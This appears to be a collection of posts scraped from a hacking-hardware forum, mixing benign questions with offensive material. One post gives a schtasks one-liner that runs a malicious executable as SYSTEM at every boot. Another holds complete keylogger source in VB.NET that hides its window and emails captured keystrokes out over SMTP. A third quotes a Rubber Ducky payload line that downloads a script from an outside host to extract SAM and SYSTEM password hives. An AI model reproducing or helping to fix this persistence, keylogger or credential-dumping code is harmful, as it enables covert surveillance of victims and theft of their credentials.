Search the Community

Hello, everyone, someone has mentioned that 2FA keys for offline systems are useless. I would like to know why and how it could be bypassed easily?

Hey, i just found a method to start your malicious msf/or whatever payload as SYSTEM user from boot. This little shell line (shell needs to be run as administrator): schtasks /create /tn "Windows Help Service" /tr C:\maliciousfile.exe /sc onstart /ru SYSTEM /F creates a Task named "Windows Help Service" which runs C:\maliciousfile.exe every startup as SYSTEM user. Keep in mind that when using this as a payload you may need to escape the / and \ and ".I'm currently working on a C++ Version of PSExec (Source) to get rid of the .Net Framework. Feel free to post your Payload using the simple onliner which starts your malicious file as System every boot :)

Hey all, Pleas see http://thehackernews.com/2016/04/spy-phone-call-location.html "In BriefThe famous ‘60 Minutes’ television show shocked some viewers Sunday evening when a team of German hackers demonstrated how they hacked into an iPhone used by U.S. Congressman, then recorded his phone calls and tracked his movement through Los Angeles. Hackers leverage a security flaw in SS7 (Signalling System Seven) protocol that allows hackers to track phone locations, listen in on calls and text messages." My question is basically; how would this be possible? What methods/coding/programs would be used? *Edit* And when it says 'a security flaw in SS7', anyone know of this? What's the flaw? Just find it fascinating!

Hi guys i need to know how to restore files that were erased by system restore. -Heitor

hello hak5 forum, i came to this forum as i recently found out about the ducky usb. but to the point. i need help with this key logger (ill put the code at the bottom). the problems are that the email doesn't send. yes i have check firewall and forwarded all the ports for gmail that they list on googles website. but i don't mind to much to much that it doesn't send... how to i make the contents of the text box save to a text file so that i can just physically get it. thanks for any help. Imports System.Net.Mail 'Mail Class Public Class Form1 Dim result As Integer Private Declare Function GetAsyncKeyState Lib "USER32" (ByVal vKey As Long) As Integer Private Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer Private Sub Form1_Load(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles MyBase.Load Timer1.Start() Timer2.Start() Timer3.Start() End Sub Public Function GetCapslock() As Boolean ' Return Or Set the Capslock toggle. GetCapslock = CBool(GetKeyState(&H14) And 1) End Function Public Function GetShift() As Boolean ' Return Or Set the Capslock toggle. GetShift = CBool(GetAsyncKeyState(&H10)) End Function Private Sub Timer1_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer1.Tick For i As Integer = 1 To 225 result = 0 result = GetAsyncKeyState(i) If result = -32767 Then If GetCapslock() = True And GetShift() = True Then Select Case (i) Case 192 TextBox1.Text = TextBox1.Text + "~" Case 1 'TextBox1.Text = TextBox1.Text + " " Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower Case 32 TextBox1.Text = TextBox1.Text + " " Case 48 TextBox1.Text = TextBox1.Text + ")" Case 49 TextBox1.Text = TextBox1.Text + "!" Case 50 TextBox1.Text = TextBox1.Text + "@" Case 51 TextBox1.Text = TextBox1.Text + "#" Case 52 TextBox1.Text = TextBox1.Text + "$" Case 53 TextBox1.Text = TextBox1.Text + "%" Case 54 TextBox1.Text = TextBox1.Text + "^" Case 55 TextBox1.Text = TextBox1.Text + "&" Case 56 TextBox1.Text = TextBox1.Text + "*" Case 57 TextBox1.Text = TextBox1.Text + "(" Case 8 TextBox1.Text = TextBox1.Text + "[backSpace]" Case 46 TextBox1.Text = TextBox1.Text + "[Del]" Case 190 TextBox1.Text = TextBox1.Text + ">" Case 16 Case 160 To 165 Case 17 TextBox1.Text = TextBox1.Text + "[Ctrl]" Case 18 TextBox1.Text = TextBox1.Text + "[Alt]" Case 189 TextBox1.Text = TextBox1.Text + "_" Case 187 TextBox1.Text = TextBox1.Text + "+" Case 219 TextBox1.Text = TextBox1.Text + "{" Case 221 TextBox1.Text = TextBox1.Text + "}" Case 186 TextBox1.Text = TextBox1.Text + ":" Case 222 TextBox1.Text = TextBox1.Text + """" Case 188 TextBox1.Text = TextBox1.Text + "<" Case 191 TextBox1.Text = TextBox1.Text + "?" Case 220 TextBox1.Text = TextBox1.Text + "|" Case 13 TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine Case 20 Case 91 'windows key Case 9 TextBox1.Text = TextBox1.Text + " [Tab]" Case 2 TextBox1.Text = TextBox1.Text + " [RightMouseClick]" Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") " End Select End If If GetCapslock() = True And GetShift() = False Then Select Case (i) Case 91 'windows key Case 1 'TextBox1.Text = TextBox1.Text + " " Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i) Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i) Case 32 TextBox1.Text = TextBox1.Text + " " Case 48 To 57 TextBox1.Text = TextBox1.Text + Chr(i) Case 8 TextBox1.Text = TextBox1.Text + "[backSpace]" Case 46 TextBox1.Text = TextBox1.Text + "[Del]" Case 190 TextBox1.Text = TextBox1.Text + "." Case 16 Case 160 To 165 Case 20 Case 192 TextBox1.Text = TextBox1.Text + "`" Case 189 TextBox1.Text = TextBox1.Text + "-" Case 187 TextBox1.Text = TextBox1.Text + "=" Case 219 TextBox1.Text = TextBox1.Text + "[" Case 221 TextBox1.Text = TextBox1.Text + "]" Case 186 TextBox1.Text = TextBox1.Text + ";" Case 222 TextBox1.Text = TextBox1.Text + "'" Case 188 TextBox1.Text = TextBox1.Text + "," Case 191 TextBox1.Text = TextBox1.Text + "/" Case 220 TextBox1.Text = TextBox1.Text + "\" Case 17 TextBox1.Text = TextBox1.Text + "[Ctrl]" Case 18 TextBox1.Text = TextBox1.Text + "[Alt]" Case 13 TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine Case 9 TextBox1.Text = TextBox1.Text + " [Tab]" Case 2 TextBox1.Text = TextBox1.Text + " [RightMouseClick]" Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") " End Select End If If GetCapslock() = False And GetShift() = True Then Select Case (i) Case 91 'windows key Case 192 TextBox1.Text = TextBox1.Text + "~" Case 1 ' TextBox1.Text = TextBox1.Text + " " Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i) Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i) Case 32 TextBox1.Text = TextBox1.Text + " " Case 48 TextBox1.Text = TextBox1.Text + ")" Case 49 TextBox1.Text = TextBox1.Text + "!" Case 50 TextBox1.Text = TextBox1.Text + "@" Case 51 TextBox1.Text = TextBox1.Text + "#" Case 52 TextBox1.Text = TextBox1.Text + "$" Case 53 TextBox1.Text = TextBox1.Text + "%" Case 54 TextBox1.Text = TextBox1.Text + "^" Case 55 TextBox1.Text = TextBox1.Text + "&" Case 56 TextBox1.Text = TextBox1.Text + "*" Case 57 TextBox1.Text = TextBox1.Text + "(" Case 8 TextBox1.Text = TextBox1.Text + "[backSpace]" Case 46 TextBox1.Text = TextBox1.Text + "[Del]" Case 190 TextBox1.Text = TextBox1.Text + ">" Case 16 Case 160 To 165 Case 17 TextBox1.Text = TextBox1.Text + "[Ctrl]" Case 18 TextBox1.Text = TextBox1.Text + "[Alt]" Case 189 TextBox1.Text = TextBox1.Text + "_" Case 187 TextBox1.Text = TextBox1.Text + "+" Case 219 TextBox1.Text = TextBox1.Text + "{" Case 221 TextBox1.Text = TextBox1.Text + "}" Case 186 TextBox1.Text = TextBox1.Text + ":" Case 222 TextBox1.Text = TextBox1.Text + """" Case 188 TextBox1.Text = TextBox1.Text + "<" Case 191 TextBox1.Text = TextBox1.Text + "?" Case 220 TextBox1.Text = TextBox1.Text + "|" Case 13 TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine Case 9 TextBox1.Text = TextBox1.Text + " [Tab]" Case 20 Case 2 TextBox1.Text = TextBox1.Text + " [RightMouseClick]" Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") " End Select End If If GetCapslock() = False And GetShift() = False Then Select Case (i) Case 1 ' TextBox1.Text = TextBox1.Text + " " Case 64 To 90 TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower Case 97 To 122 TextBox1.Text = TextBox1.Text + Chr(i).ToString.ToLower Case 32 TextBox1.Text = TextBox1.Text + " " Case 48 To 57 TextBox1.Text = TextBox1.Text + Chr(i) Case 8 TextBox1.Text = TextBox1.Text + "[backSpace]" Case 46 TextBox1.Text = TextBox1.Text + "[Del]" Case 190 TextBox1.Text = TextBox1.Text + "." Case 16 Case 160 To 165 Case 20 Case 192 TextBox1.Text = TextBox1.Text + "`" Case 189 TextBox1.Text = TextBox1.Text + "-" Case 187 TextBox1.Text = TextBox1.Text + "=" Case 91 'windows key Case 219 TextBox1.Text = TextBox1.Text + "[" Case 221 TextBox1.Text = TextBox1.Text + "]" Case 186 TextBox1.Text = TextBox1.Text + ";" Case 222 TextBox1.Text = TextBox1.Text + "'" Case 188 TextBox1.Text = TextBox1.Text + "," Case 191 TextBox1.Text = TextBox1.Text + "/" Case 220 TextBox1.Text = TextBox1.Text + "\" Case 17 TextBox1.Text = TextBox1.Text + "[Ctrl]" Case 18 TextBox1.Text = TextBox1.Text + "[Alt]" Case 13 TextBox1.Text = TextBox1.Text + " [Enter]" + vbNewLine Case 9 TextBox1.Text = TextBox1.Text + " [Tab]" Case 2 TextBox1.Text = TextBox1.Text + " [RightMouseClick]" Case 37 To 40 Case Else TextBox1.Text = TextBox1.Text + " Ascii(" + i.ToString + ") " End Select End If End If Next i End Sub Sub MainEvents() 'Fill In all Required info, if your not using gmail use smtp . your email provider ex: '"smpt.yahoo.com" or "smpt.custom_email.edu" Try Dim MyMailMessage As New MailMessage() MyMailMessage.From = New MailAddress("Email") MyMailMessage.To.Add("Email") MyMailMessage.Subject = "Test" MyMailMessage.Body = TextBox1.Text Dim SMPT As New SmtpClient("smtp.gmail.com") SMPT.Port = 587 SMPT.EnableSsl = True SMPT.Credentials = New System.Net.NetworkCredential("Email", "Email Password") SMPT.Send(MyMailMessage) TextBox1.Text = "" Catch ex As Exception End Try End Sub Private Sub Timer2_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer2.Tick If TextBox1.Text <> "" Then MainEvents() End If End Sub Private Sub Timer3_Tick(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Timer3.Tick Me.Visible = False Me.Hide() End Sub End Class

Hi guys, I plan to install a new in-house PBX, but I'm not secure in my knowledge, so I need some confirmation. I've done some research and I feel an IP PBX would be my primary choice. I run a small trade company that needs 12 telephones (including hardphones and mobile devices as well). We use them for both of internal and external communication. In addtition to the basic PBX features (as well as call routing, conference calling, voicemail, call queuing, etc.) I have some special requirements related to the new phone system: I have only one office, but my employees (especially the sales representatives) are often out-of the office. That's why mobile phones are essentially needed for us. So I'd like to attach mobile devices to our PBX as well. Concerning that my target audience consists of mainly young people (they are mostly 26-35 years old), I'd like to facilitate them to contact us by using any innovative, free, Internet-based communication method. So a chat console and/or a click-to-call webphone would be also appreciated. After checking the possible solutions at Alternativeto.net, I've tried some trial versions and finally it seems that Ozeki Phone systems suits best for my needs. Can anybody tell me if this is a good option for my requirements? Is there any other option I should look at? Because I'm always searching for the best, I tend to be a little (that is very) insecure, so I'd like to hear other people's opinion about the issue. A little review of it will be a great help for me! (Is it stable, trustworthy, etc...?) I’m looking forward to your opinion here or even in e-mail (just.me.warner@gmail.com)! Thanks a lot in advance! Regards, Justin

I was looking at the payload scripts for my Ducky. I found one that I was looking for. It's the "Payload retrieve sam and system from a live file system" script featured here: https://github.com/hak5darren/USB-Rubber-Ducky/wiki/Payload---retrieve-sam-and-system-from-a-live-file-system Naturally, I have an issue with it. The script has a line that says: "STRING cscript download.vbs http://tools.lanmaster53.com/vssown.vbs" Nothing in my life is easy! %^} So, naturally http://tools.lanmaster53.com seems to be off the air right now. So, I think this will be ok, I'll use my friend Google and find the script elsewhere, and then just edit the script to point to the new URL, once I find one. The problem now is, I see vssown.vbs scattered on a few different sites, acredited to the same author everywhere I see it - yet when I look at the source, the script appears to be remarkably different in more than one location. Sooo, my qiestions are: 1) Does anyone actually have this scriot WORKING? 2) May I have a copy of it? Feel free to edit out any sensitive info if you must - directory names, etc. But please make it crystal clear what information what should be there... eg; "c:/windows/somedirecoty/somewhere/acme.exe" or whatever. In essence, all I want to do is get the hash on the Ducky and test it for integrity later. . All help, hints, tips appreciated. Thanks, Kudzu